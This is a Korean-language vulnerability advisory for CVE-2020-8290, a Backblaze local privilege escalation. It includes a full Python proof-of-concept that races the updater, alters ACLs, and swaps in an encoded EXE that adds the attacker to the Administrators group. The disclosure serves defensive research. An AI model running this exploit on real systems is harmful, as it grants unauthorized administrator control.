
CVE-2020-8290 – Backblaze에서의 권한 상승
이름: Backblaze 권한 상승
CVE: CVE-2020-8290
발견자: Jason Geffner
공급업체: Backblaze
제품: Backblaze for Windows 및 Backblaze for macOS
위험도: 높음
발견일: 2020-03-13
공개일: 2020-09-09
수정 버전: 7.0.0.439
위키피디아에 따르면, Backblaze는
"Windows 및 macOS 사용자가 데이터를 오프사이트 데이터 센터에 백업할 수 있는 온라인 백업 도구입니다. 이 서비스는 비즈니스 및 최종 사용자를 위해 설계되었으며, 무제한 저장 공간을 제공하고 무제한 파일 크기를 지원합니다."
취약한 버전의 Backblaze for Windows 및 Backblaze for macOS에는 로컬 비권한 공격자가 SYSTEM/root가 되도록 권한 상승(EOP) 공격을 수행할 수 있는 높은 위험도의 취약점이 포함되어 있습니다.
Backblaze 클라이언트의 서비스 프로세스인 bzserv는 Windows에서는 SYSTEM으로, macOS에서는 root로 실행됩니다. 몇 시간마다 bzserv는 bztransmit라는 프로그램(SYSTEM/root로 실행됨)을 실행하여 Backblaze 데이터 센터에서 clientversion.xml이라는 XML 파일을 다운로드하여 최신 버전의 Backblaze 클라이언트를 사용할 수 있는지 확인하고, 가능한 경우 최신 클라이언트 버전의 설치 프로그램을 Backblaze 데이터 센터에서 다운로드합니다. 다운로드된 설치 프로그램은 Windows의 %ProgramData%\Backblaze\bzdata\bzupdates 디렉터리와 macOS의 /Library/Backblaze.bzpkg/bzdata/bzupdates 또는 /Library/Backblaze/bzdata/bzupdates 디렉터리에 저장됩니다. 다운로드가 완료되면 bztransmit는 다운로드된 설치 프로그램을 Windows에서는 ShellExecute()를 통해 SYSTEM으로, macOS에서는 system()을 통해 root로 실행합니다.
Windows에서 %ProgramData%\Backblaze\bzdata 디렉터리는 설치 시 로컬 비권한 사용자가 읽기 및 쓰기 권한을 갖도록 생성됩니다. bztransmit 프로세스는 SYSTEM으로 실행되는 동안 bzupdates 하위 디렉터리를 생성하며, 생성된 후에는 비권한 사용자가 이 하위 디렉터리에 대한 읽기 또는 쓰기 권한을 갖지 않습니다. 그러나 bztransmit 프로세스는 bzupdates 디렉터리가 이미 존재하는 경우 해당 ACL을 안전하게 확인하지 않으며, 디렉터리가 이미 존재하는 경우 ACL을 안전하게 업데이트하지도 않습니다. 따라서 로컬 비권한 공격자는 Backblaze 설치 전에 %ProgramData%\Backblaze\bzdata\bzupdates 디렉터리를 생성하거나, Backblaze 설치 후 bztransmit가 bzupdates 하위 디렉터리를 생성하기 전에 %ProgramData%\Backblaze\bzdata 아래에 bzupdates 하위 디렉터리를 생성할 수 있습니다. 이를 통해 공격자는 bzupdates 디렉터리의 소유자가 되어 해당 디렉터리의 파일을 완전히 제어할 수 있습니다. 따라서 공격자는 다운로드된 업데이트 실행 파일이 다운로드된 후 실행되기 전에 수정하거나 교체할 수 있으며, 이로 인해 로컬 EOP가 가능해집니다.
macOS에서 /Library/Backblaze.bzpkg/bzdata(또는 /Library/Backblaze/bzdata) 디렉터리는 설치 시 권한 0777(drwxrwxrwx)로 생성되어 로컬 비권한 사용자가 읽기 및 쓰기 권한을 갖습니다. bztransmit 프로세스는 root로 실행되는 동안 bzupdates 하위 디렉터리를 권한 0755(drwxr-xr-x)로 생성하며, 생성된 후에는 비권한 사용자가 이 하위 디렉터리에 대한 읽기 또는 쓰기 권한을 갖지 않습니다. 그러나 bztransmit 프로세스는 bzupdates 디렉터리가 이미 존재하는 경우 해당 권한을 안전하게 확인하지 않으며, 디렉터리가 이미 존재하는 경우 권한을 안전하게 업데이트하지도 않습니다. 따라서 로컬 비권한 공격자는 Backblaze 설치 후 bztransmit가 bzupdates 하위 디렉터리를 생성하기 전에 /Library/Backblaze.bzpkg/bzdata(또는 /Library/Backblaze/bzdata) 아래에 하위 디렉터리를 생성할 수 있습니다. 이를 통해 공격자는 디렉터리의 소유자가 되어 해당 디렉터리의 파일을 완전히 제어할 수 있습니다. 따라서 공격자는 다운로드된 업데이트 실행 파일이 다운로드된 후 실행되기 전에 수정하거나 교체할 수 있으며, 이로 인해 로컬 EOP가 가능해집니다.
비디오: https://youtu.be/OpC6neWd2aM
위 비디오는 동일한 VM에 대한 두 개의 동시 로그인을 보여줍니다. 왼쪽은 관리자 세션, 오른쪽은 비권한 공격자 세션입니다. 비디오에서 다음 단계를 확인할 수 있습니다:
Attacker가 net localgroup Administrators를 실행하여 비권한 공격자 계정(Attacker라는 이름)이 Administrators 그룹의 구성원이 아님을 표시합니다.python eop.py(소스 코드는 아래에 있음)를 실행합니다.clientversion.xml을 다운로드하고, 공격 코드가 이를 덮어씁니다.Attacker 계정을 Administrators 그룹에 추가합니다.net localgroup Administrators를 실행하여 Attacker 계정이 실제로 Administrators 그룹에 추가되었음을 표시합니다. 로컬 권한 상승이 완료됩니다.# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time
def wait_for_filesystem_object(file_path):
if os.path.exists(file_path):
return
parent_directory = os.path.dirname(file_path)
if not os.path.exists(parent_directory):
wait_for_filesystem_object(parent_directory)
buffer = ctypes.create_string_buffer(1024)
bytes_returned = ctypes.c_ulong()
if "." in os.path.basename(file_path):
notify_filter = 8
else:
notify_filter = 2
h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
0x02000000, None)
while not os.path.exists(file_path):
ctypes.windll.kernel32.ReadDirectoryChangesW(
h, ctypes.byref(buffer), 1024, False, notify_filter,
ctypes.byref(bytes_returned), None, None)
ctypes.windll.kernel32.CloseHandle(h)
def get_exe_content():
#
# Returns the content of an EXE that will add the attacker to the
# Administrators group. Based on
# https://github.com/corkami/pocs/blob/master/PE/tiny.asm
#
exe_content = bz2.decompress(base64.b85decode(
"LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
"~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
"p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
exe_content += ("NET LOCALGROUP Administrators " +
f"{os.environ['USERDOMAIN']}\\" +
f"{os.environ['USERNAME']} /ADD").encode()
return exe_content
def am_i_admin():
bufptr = ctypes.c_void_p()
ctypes.windll.netapi32.NetUserGetInfo(
os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
ctypes.byref(bufptr))
if platform.architecture()[0] == "32bit":
usri1_priv = ctypes.string_at(bufptr, 13)[-1]
else:
usri1_priv = ctypes.string_at(bufptr, 21)[-1]
ctypes.windll.netapi32.NetApiBufferFree(bufptr)
return usri1_priv == 2
def poc():
print(f"Running as user: {os.environ['USERNAME']}")
# Ensure that we're running as an unprivileged user.
print("Testing for administrative privileges...")
if am_i_admin():
print("You're already an administrator. Bye!")
return
print("You're a non-administrative user.")
# Raise our process's priority to try to win our race condition.
pid = ctypes.windll.kernel32.GetCurrentProcessId()
h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
ctypes.windll.kernel32.CloseHandle(h)
# Create the bzupdates directory so that we are the owner of it.
bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
if os.path.exists(bzupdates):
print("Backblaze's bzupdates directory was already created. You're " +
"too late!")
return
os.makedirs(bzupdates)
#
# Get the installed hguid value so that we can force an update via
# clientversion.xml.
#
if platform.architecture()[0] == "32bit":
bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
else:
bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
"\\Backblaze\\bzinstall.xml"
if not os.path.exists(bzinstall):
print("Waiting for Backblaze's installer to assign an hguid value.")
wait_for_filesystem_object(bzinstall)
print("Backblaze assigned an hguid value.")
with open(bzinstall) as f:
xml = f.read()
hguid = re.search('hguid="([^"]+)"', xml).group(1)
# Force update via clientversion.xml.
if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
print("Waiting for Backblaze to download clientversion.xml.")
wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
print("clientversion.xml now downloaded.")
with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
xml = f.read()
xml = re.sub('update_hguids_firstchar=".',
f'update_hguids_firstchar="{hguid[0]}', xml)
xml = xml.replace('win32_version="', 'win32_version="1')
f.truncate(0)
f.seek(0)
f.write(xml)
print("clientversion.xml modified to force update next time Backblaze " +
"considers updating.")
# Don't allow SYSTEM to overwrite clientversion.xml.
subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
"/setowner", f"{os.environ['USERNAME']}"])
print()
subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
'/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
print()
#
# Create an executable to replace the downloaded update, which will elevate
# our privileges.
#
exe_content = get_exe_content()
with open(f"{bzupdates}\\eop.exe", "wb") as f:
f.write(exe_content)
#
# Wait for update to download and overwrite it with attacker's executable.
# In this PoC we use iexpress.exe (built into Windows) to create an EXE that
# adds the attacker to the Administrators group, but an attacker could
# supply any executable content they like.
#
exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
print(f"Waiting for Backblaze to download {exe}.")
wait_for_filesystem_object(f"{bzupdates}\\{exe}")
os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
print(f"{exe} downloaded and replaced.")
print(f"{exe} should now get executed as SYSTEM.")
for i in range(5):
if am_i_admin():
print("Success! You're now an administrator!")
return
time.sleep(1)
print("Exploit failed. We probably lost the race-condition when " +
f"overwriting {exe}.")
if __name__ == "__main__":
poc()
Backblaze는 Backblaze 버전 7.0.0.439에서 이 취약점을 패치했습니다.
이 취약점은 Jason Geffner가 HackerOne을 통해 Backblaze에 발견 및 신고했습니다.
2020-03-13 - 취약점 발견 및 HackerOne을 통해 Backblaze에 신고
2020-03-26 - HackerOne 취약점 확인
2020-04-22 - CVE-2020-8152 할당
2020-04-22 - 빌드 7.0.0.439 릴리스
2020-04-22 - 취약점 완화 조치 확인
2020-04-23 - 공개 공개 요청
2020-09-09 - 공개 공개
2020-12-22 - CVE 할당이 CVE-2020-8290으로 변경됨
bzupdatesbzupdates